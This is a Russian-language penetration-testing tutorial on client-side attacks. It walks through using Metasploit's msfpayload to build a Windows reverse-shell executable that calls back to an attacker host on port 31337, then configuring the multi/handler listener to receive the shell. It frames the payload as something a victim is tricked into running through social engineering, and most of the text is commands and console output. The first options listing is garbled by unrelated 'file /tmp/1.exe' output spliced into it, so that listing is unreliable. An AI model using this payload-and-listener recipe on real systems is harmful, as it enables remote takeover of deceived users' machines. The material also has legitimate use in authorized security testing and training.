Эксплуатирование уязвимостей на стороне клиента.

Эксплуатирование уязвимостей на стороне клиента, является основным фронтом атак на сегодня. Так как сетевые администраторы и разработчики программного обеспечения стремятся укрепить периметр, пентестерам необходимо найти способ заставить жертву открыть двери для них попасть в сеть. Client-side техника нападения основывается на доверчивости пользователей проявляющихся в таких случаях, как открыть неизвестную ссылку или документ, посещение вредоносного сайта.

Есть много различных способов использования Metasploit для выполнения нападений на стороне клиента и мы покажем несколько из них.

Binary Payloads.

Metasploit полон интересных и полезных функций. Одной из них является способность генерировать исполняемые модули с полезной нагрузкой Metasploit. Это может быть очень полезно в ситуациях, таких, как социальная инженерия, вы можете «спровоцировать» пользователя запустить такой файл и получить доступ к машине.
Давайте посмотрим на примере, как это сделать. Мы будем генерировать полезную нагрузку обратной оболочки(reverse shell), выполним его на удаленной системе, и получим shell. Для этого используем утилиту командной строки msfpayload. Эта команда используется для создания полезной нагрузки и будет задействована во многих случаях. Для нас представляет интерес исполняемый файл на выходе, созданный командой X, для запуска на удаленной системе. Мы создадим «реверс-шелл», который будет подсоединятся к нашей машине с прослушиваемым портом 31337. Обратите внимание, что msfpayload работает так же, как msfcli в который можно добавить букву 'O' в конец командной строки, чтобы увидеть, какие из опций доступны.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp O
 
       Name: Windows Command Shell, Reverse TCP Inline
    Version: 6479
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 287
 
Provided by:
  vlad902 vlad902@gmail.com 
 
Basic options:
Name       Current Setting  Required  Description 
----       ---------------  --------  ----------- 
EXITFUNC   seh              yes       Exit technique: seh, thread, process 
LHOST                       yes       The local address 
LPORT      4444
 
root@bt:/pentest/exploits/framework3# file /tmp/1.exe
 
/tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit             yes       The local port 
 
Description:
Connect back to attacker and spawn a command shell
 
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 O
 
Name: Windows Command Shell, Reverse TCP Inline
Version: 6479
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 287
 
Provided by:
vlad902 vlad902@gmail.com
 
Basic options:
Name       Current Setting  Required  Description 
----       ---------------  --------  ----------- 
EXITFUNC   seh              yes       Exit technique: seh, thread, process 
LHOST      172.16.104.130   yes       The local address 
LPORT      31337            yes       The local port 
 
Description:
Connect back to attacker and spawn a command shell
 
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe
 
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 287
Options: LHOST=172.16.104.130,LPORT=31337
 
root@bt:/pentest/exploits/framework3# file /tmp/1.exe
 
/tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Ок, теперь исполняемый файл Windows готов к работе и в случае запуска на удаленном хосте предоставит нам shell. Дальше мы используем 'multi/handler', который является неким «эксплоитом-трансформером», который нужно настроить под нашу цель для прослушивания порта ожидающего входящие соединения от пользователя который запустил наш файл.

root@bt4:/pentest/exploits/framework3# ./msfconsole
 
                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##
 
 
       =[ msf v3.3-dev
+ -- --=[ 371 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 149 aux
 
msf > use exploit/multi/handler
msf exploit(handler) > show options
 
Module options:
 
   Name  Current Setting  Required  Description  
   ----  ---------------  --------  -----------  
 
 
Exploit target:
 
   Id  Name             
   --  ----             
   0   Wildcard Target

При использовании модуля 'exploit/multi/handler' нам нужно указать какую полезную нагрузку мы хотим задействовать и задать все необходимые опции.

msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > show options
 
Module options:
 
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
 
 
Payload options (windows/shell/reverse_tcp):
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Wildcard Target  
 
 
msf exploit(handler) > set LHOST 172.16.104.130
LHOST => 172.16.104.130
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) >